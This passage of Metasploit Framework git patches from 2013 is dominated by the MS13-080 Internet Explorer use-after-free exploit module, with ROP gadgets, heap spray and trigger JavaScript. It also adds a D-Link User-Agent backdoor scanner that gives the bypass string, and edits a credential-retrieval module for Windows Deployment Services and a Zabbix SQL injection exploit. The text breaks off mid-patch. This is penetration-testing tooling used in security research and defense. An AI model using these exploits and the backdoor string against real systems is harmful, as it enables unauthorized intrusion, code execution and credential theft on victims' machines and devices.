else if ((typeof checka) == "number" && (typeof checkb) == "object") { + try{location.href='ms-help://'} catch(e){} + return "office2007"; + } + return "default"; +} + +window.onload = function() { + window.location = "#{get_resource}/search?o=" + os() + "&d=" + dll(); +} +</script> +</html> + | + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def get_payload(target_info) + rop_payload = '' + + case target_info[:dll] + when 'office2007' + pivot = + [ + 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 + junk, # ESI due to POPAD + junk, # EBP due to POPAD + junk, + junk, # EBX due to POPAD + junk, # EDX due to POPAD + junk, # ECX due to POPAD + 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) + 0x51bd81db, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) + + when 'office2010' + pivot = + [ + 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 + junk, + junk, + junk, + junk, + junk, + 0x51BE7E9A, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) + + when 'default' + if target_info[:os] =~ /windows xp/i + # XP uses msvcrt.dll + pivot = + [ + 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret + ].pack("V*") + + rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) + else + # Assuming this is Win 7, and we'll use Java 6 ROP + pivot = + [ + 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn + junk # Padding for the POP ECX + ].pack("V*") + + rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) + end + end + + rop_payload + end + + def get_sploit_html(cli, target_info) + os = target_info[:os] + dll = target_info[:dll] + js_payload = '' + + if os =~ /Windows (7|XP) MSIE 8\.0/ + print_status("Target uses #{os} with #{dll} DLL... engaging.") + js_payload = Rex::Text.to_unescape(get_payload(target_info)) + else + print_error("Target uses #{os} with #{dll} DLL... not supported by this attack.") + return "" + end + + %Q|<html> +<head> +<script> +#{js_property_spray} +sprayHeap({shellcode:unescape("#{js_payload}")}); + +var earth = document; +var data = ""; +for (i=0; i<17; i++) { + if (i==7) { data += unescape("%u2020%u2030"); } + else { data += "\\u4141\\u4141"; } +} +data += "\\u4141"; + +function butterfly() { + for(i=0; i<20; i++) { + var effect = earth.createElement("div"); + effect.className = data; + } +} + +function kaiju() { + var godzilla = earth.createElement("textarea"); + var minilla = earth.createElement("pre"); + earth.body.appendChild(godzilla); + earth.body.appendChild(minilla); + godzilla.appendChild(minilla); + + godzilla.onselect=function(e) { + minilla.swapNode(earth.createElement("div")); + } + + var battleStation = false; + var war = new Array(); + godzilla.onpropertychange=function(e) { + if (battleStation == true) { + for (i=0; i<50; i++) { + war.push(earth.createElement("span")); + } + } + + earth.execCommand("Unselect"); + + if (battleStation == true) { + for (i=0; i < war.length; i++) { + war[i].className = data; + } + } + else { + battleStation = true; + } + } + + butterfly(); + godzilla.select(); +} +</script> +</head> +<body onload='kaiju()'> +</body> +</html> + | + end + + + def on_request_uri(cli, request) + if request.uri =~ /search\?o=(.+)\&d=(.+)$/ + target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } + sploit = get_sploit_html(cli, target_info) + send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + return + end + + html = get_check_html + print_status("Checking out target...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + +end + + +=begin + ++hpa this for debugging or you might not see a crash at all :-) + +0:005> r +eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c +eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +mshtml!QIClassID+0x30: +6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? +0:005> u +mshtml!QIClassID+0x30: +6d6dc123 8b03 mov eax,dword ptr [ebx] +6d6dc125 8365e800 and dword ptr [ebp-18h],0 +6d6dc129 8d4de8 lea ecx,[ebp-18h] +6d6dc12c 51 push ecx +6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) +6d6dc132 53 push ebx +6d6dc133 bf02400080 mov edi,80004002h +6d6dc138 ff10 call dword ptr [eax] + +=end From b139757021b5a12ffcacd950d2fd904fccceeb3d Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 12 Oct 2013 13:24:36 -0500 Subject: [PATCH 192/210] Correct a typo in description --- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 06966c4ced..14ac6b5c34 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash - finally occurs due to accessing the freed memory. By controling this freed memory, it is + finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, From 765b55182e69dfd7059b06ff7e7318579386023c Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 12 Oct 2013 19:52:15 +0100 Subject: [PATCH 193/210] Randomize client variables Also tidyup indents and use predefined UUID syntax. --- .../dcerpc/windows_deployment_services.rb | 69 +++++++++---------- 1 file changed, 34 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 564fdef46d..bdd9798030 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', 'Description' => %q{ - This module retrieves the client unattend file from Windows - Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2 x64 and Windows 2003 x86. + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'License' => MSF_LICENSE, @@ -53,26 +53,24 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - begin - query_host(ip) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") - end + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end end def query_host(rhost) # Create a handler with our UUID and Transfer Syntax - ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860' - version = 2 + ndr86 = DCERPCUUID.xfer_syntax_uuid + version = DCERPCUUID.xfer_syntax_vers self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', - ndr86, - version, ], 'ncacn_ip_tcp', rhost, @@ -85,11 +83,11 @@ class Metasploit3 < Msf::Auxiliary print_good("Bound to #{handle}") report_service( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'tcp', - :name => "dcerpc", - :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" ) table = Rex::Ui::Text::Table.new({ @@ -110,7 +108,8 @@ class Metasploit3 < Msf::Auxiliary result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) - fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return end unless result.nil? @@ -145,15 +144,16 @@ class Metasploit3 < Msf::Auxiliary # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) - guid = '11223344556677578058C2C04F503931' + guid = Rex::Text.rand_text_hex(32) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) # Not sure what this padding is for... mac = [0x30].pack('C') * 20 - mac << "000c29e0bab8" + mac << Rex::Text.rand_text_hex(12) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) - packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + arch = [architecture[1]].pack('C') + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch) version = [1].pack('V') packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) @@ -168,7 +168,6 @@ class Metasploit3 < Msf::Auxiliary data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - #puts data.unpack('v*').inspect op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 @@ -203,20 +202,20 @@ class Metasploit3 < Msf::Auxiliary end def loot_unattend(archi, data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") - print_status("Raw version of #{archi} saved as: #{p}") + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") end def report_creds(domain, user, pass) report_auth_info( - :host => rhost, - :port => 4050, - :sname => 'dcerpc', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) end end From 988ac68074a1fe66bc834faf42057139703bf256 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 12 Oct 2013 19:56:52 +0100 Subject: [PATCH 194/210] Dont define the NDR syntax --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index bdd9798030..b8dd2d76a6 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -64,8 +64,6 @@ class Metasploit3 < Msf::Auxiliary def query_host(rhost) # Create a handler with our UUID and Transfer Syntax - ndr86 = DCERPCUUID.xfer_syntax_uuid - version = DCERPCUUID.xfer_syntax_vers self.handle = Rex::Proto::DCERPC::Handle.new( [ From 172c6b9b8f7b2f79bf28800a7246a816bfb664fe Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Sat, 12 Oct 2013 16:15:10 -0500 Subject: [PATCH 195/210] Escape dots on regexs --- .../windows/misc/hp_dataprotector_crs.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 53348ce4ee..d63c006d6f 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -153,17 +153,17 @@ class Metasploit3 < Msf::Exploit::Remote print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") end - if fingerprint =~ /HP Data Protector A.06.20: INET, internal build 370/ + if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ return Exploit::CheckCode::Vulnerable - elsif fingerprint =~ /HP Data Protector A.07.00: INET, internal build 72/ + elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ return Exploit::CheckCode::Vulnerable - elsif fingerprint =~ /HP Data Protector A.07.00/ + elsif fingerprint =~ /HP Data Protector A\.07\.00/ return Exploit::CheckCode::Appears - elsif fingerprint =~ /HP Data Protector A.07.01/ + elsif fingerprint =~ /HP Data Protector A\.07\.01/ return Exploit::CheckCode::Appears - elsif fingerprint =~ /HP Data Protector A.06.20/ + elsif fingerprint =~ /HP Data Protector A\.06\.20/ return Exploit::CheckCode::Appears - elsif fingerprint =~ /HP Data Protector A.06.21/ + elsif fingerprint =~ /HP Data Protector A\.06\.21/ return Exploit::CheckCode::Appears end @@ -177,9 +177,9 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - if fingerprint =~ /HP Data Protector A.06.20: INET, internal build 370/ + if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ return targets[1] - elsif fingerprint =~ /HP Data Protector A.07.00: INET, internal build 72/ + elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ return targets[2] else return nil From bc317760dcedbf98ce437f51153fe7d0ff9fac81 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 12 Oct 2013 16:37:49 -0500 Subject: [PATCH 196/210] Make the GET params a little bit harder to read. --- .../browser/ms13_080_cdisplaypointer.rb | 36 ++++++++++++++----- 1 file changed, 27 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 14ac6b5c34..98122bf152 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -109,17 +109,17 @@ function dll() { if ((typeof checka) == "object" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} - return "office2010"; + return "#{@js_office_2010_str}"; } else if ((typeof checka) == "number" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} - return "office2007"; + return "#{@js_office_2007_str}"; } - return "default"; + return "#{@js_default_str}"; } window.onload = function() { - window.location = "#{get_resource}/search?o=" + os() + "&d=" + dll(); + window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll(); } </script> </html> @@ -132,9 +132,13 @@ window.onload = function() { def get_payload(target_info) rop_payload = '' + os = target_info[:os] + dll_used = '' case target_info[:dll] - when 'office2007' + when @js_office_2007_str + dll_used = "Office 2007" + pivot = [ 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 @@ -151,7 +155,9 @@ window.onload = function() { rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) - when 'office2010' + when @js_office_2010_str + dll_used = "Office 2010" + pivot = [ 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 @@ -166,9 +172,11 @@ window.onload = function() { rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) - when 'default' + when @js_default_str if target_info[:os] =~ /windows xp/i # XP uses msvcrt.dll + dll_used = "msvcrt" + pivot = [ 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret @@ -177,6 +185,8 @@ window.onload = function() { rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) else # Assuming this is Win 7, and we'll use Java 6 ROP + dll_used = "Java" + pivot = [ 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn @@ -187,6 +197,8 @@ window.onload = function() { end end + print_status("Target uses #{os} with #{dll_used} DLL") + rop_payload end @@ -196,10 +208,9 @@ window.onload = function() { js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ - print_status("Target uses #{os} with #{dll} DLL... engaging.") js_payload = Rex::Text.to_unescape(get_payload(target_info)) else - print_error("Target uses #{os} with #{dll} DLL... not supported by this attack.") + print_error("Target not supported by this attack.") return "" end @@ -281,6 +292,13 @@ function kaiju() { send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end + def exploit + @js_office_2007_str = Rex::Text.rand_text_alpha(4) + @js_office_2010_str = Rex::Text.rand_text_alpha(5) + @js_default_str = Rex::Text.rand_text_alpha(6) + super + end + end From 6f23e95c144a0e2dfd5462d8a6f21e25e0b2164f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 11 Oct 2013 15:19:34 -0400 Subject: [PATCH 197/210] Fix an endianess issue in pymeterpreter registry_query_value. --- data/meterpreter/ext_server_stdapi.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b0b02b86e6..b64b7278e4 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -902,9 +902,12 @@ def stdapi_registry_query_value(request, response): if value_type.value == REG_SZ: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') elif value_type.value == REG_DWORD: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + value = value_data[:4] + value.reverse() + value = ''.join(map(chr, value)) + response += tlv_pack(TLV_TYPE_VALUE_DATA, value) else: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) return ERROR_SUCCESS, response return ERROR_FAILURE, response From 9725918be83321b1ff0dcb9c1c136a3d4759b232 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 12 Oct 2013 18:51:57 -0500 Subject: [PATCH 198/210] Remove junk variables/params --- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 98122bf152..b60631106f 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -202,9 +202,8 @@ window.onload = function() { rop_payload end - def get_sploit_html(cli, target_info) + def get_sploit_html(target_info) os = target_info[:os] - dll = target_info[:dll] js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ @@ -282,7 +281,7 @@ function kaiju() { def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } - sploit = get_sploit_html(cli, target_info) + sploit = get_sploit_html(target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return end From e2a9339592fd40ec99fcee082731e097830d4716 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 12 Oct 2013 21:20:11 -0500 Subject: [PATCH 199/210] Add CVE to joomla media upload module. --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index c9f5a764fd..68878aeadc 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2013-5576' ], [ 'OSVDB', '95933' ], [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], From 008f787627b14d2465d47bb22e5035da0391f5b4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Sun, 13 Oct 2013 14:42:45 -0500 Subject: [PATCH 200/210] Add module for the dlink user-agent backdoor --- .../scanner/http/dlink_user_agent_backdoor.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb new file mode 100644 index 0000000000..a031e48f5b --- /dev/null +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -0,0 +1,87 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'DLink User-Agent Backdoor Scanner', + 'Description' => %q{ + This module attempts to find DLink devices running Alphanetworks web interfaces affected + by the backdoor found on the User-Agent header. This module has been tested successfully + on a DIR-100 device with firmware version v1.13. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery + 'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ] + ], + ) + + end + + def is_alpha_web_server? + begin + res = send_request_cgi({'uri' => '/'}) + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return false + end + + # Signatures: + # * httpd-alphanetworks/2.23 + # * Alpha_webserv + if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i + return true + end + + return false + end + + def run_host(ip) + + if is_alpha_web_server? + vprint_good("#{ip} - Alphanetworks web server detected") + else + vprint_error("#{ip} - Alphanetworks web server doesn't detected") + return + end + + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'agent' => 'xmlset_roodkcableoj28840ybtide' + }) + rescue ::Rex::ConnectionError + vprint_error("#{ip}:#{rport} - Failed to connect to the web server") + return + end + + # DIR-100 device with firmware version v1.13 + # not sure if this matches on other devices + # TODO: Testing on other devices + if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/ + print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"") + end + + end +end From e2c5e6c19fd2f1e8dfab02e32a5a2337d5f2a8d6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Sun, 13 Oct 2013 18:28:35 -0500 Subject: [PATCH 201/210] Fix email format --- modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index a031e48f5b..3e0cbf3d99 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Craig Heffner', # vulnerability discovery - 'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, From 2a1ade254127cc91a810c1889bab949e9468cb17 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 13 Oct 2013 19:29:51 -0500 Subject: [PATCH 202/210] Add disclosure date and some explanation about it --- .../scanner/http/dlink_user_agent_backdoor.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index 3e0cbf3d99..1b36a906ce 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -17,23 +17,26 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'DLink User-Agent Backdoor Scanner', - 'Description' => %q{ + 'Name' => 'DLink User-Agent Backdoor Scanner', + 'Description' => %q{ This module attempts to find DLink devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This module has been tested successfully on a DIR-100 device with firmware version v1.13. }, - 'Author' => + 'Author' => [ 'Craig Heffner', # vulnerability discovery 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module 'juan vazquez' # minor help with msf module ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ] ], + # First documented in detail by Craig, but looks like it's been known + # (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru + 'DisclosureDate' => "Oct 12 2013" ) end From da3081e1c8454e82dca793112ae4c06347c0119f Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 14 Oct 2013 11:40:46 -0500 Subject: [PATCH 203/210] [FixRM 8482] Fix uninit constant Rex::Exploitation::JavascriptOSDetect This fixes an uninit constant Rex::Exploitation::JavascriptOSDetect while using a module with js_os_detect. It was originally reported by Metasploit user @viniciuskmax [FixRM 8482] --- lib/msf/core/exploit/http/server.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index eb0803df60..5a17c1c6ae 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -3,6 +3,7 @@ require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' +require 'rex/exploitation/javascriptosdetect' module Msf From 5514736deb4c0ec1b4e88257c1367bd010b61cf6 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 14 Oct 2013 13:13:56 -0500 Subject: [PATCH 204/210] [FixRM 8489] undefined method `empty?' for nil:NilClass in msfcli This fixes a undefined method `empty?' for nil:NilClass (NoMethodError) in msfcli. [SeeRM 8489] --- msfcli | 1 + 1 file changed, 1 insertion(+) diff --git a/msfcli b/msfcli index 7ee7088a56..fb346c1ca8 100755 --- a/msfcli +++ b/msfcli @@ -206,6 +206,7 @@ class Msfcli @args[:params].each { |args| var, val = args.split('=', 2) + next if val.nil? case var.downcase when 'payload' From a6f17c3ba097156ea0e9bfe5d2595faa2b0f4ffc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Mon, 14 Oct 2013 14:01:58 -0500 Subject: [PATCH 205/210] Clean zabbix_sqli --- modules/exploits/linux/http/zabbix_sqli.rb | 25 +++++++++------------- 1 file changed, 10 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index 5f8d6ee2c2..6645f527fc 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -55,14 +55,10 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']) ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def uri return target_uri.path end @@ -76,8 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(uri, "httpmon.php") }) - if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ - res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ + if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ version = $1 print_status("#{peer} - Zabbix version #{version} detected") else @@ -86,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - if version and version <= "2.0.6" + if version and version <= "2.0.8" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe @@ -106,8 +101,8 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri("#{uri}", "httpmon.php"), 'vars_get' => { - "applications" => sqli, - }, + "applications" => sqli + } }) if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/ @@ -142,8 +137,8 @@ class Metasploit3 < Msf::Exploit::Remote 'usrgrpid' => '0', 'groupid' => '0', 'access' => '2', - 'save' => 'Save', - }, + 'save' => 'Save' + } }) if res and res.code == 200 and res.body =~ /(Script added)/ @@ -165,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote "scriptid" => @scriptid, "sid" => @sid, "hostid" => "10084" - }, 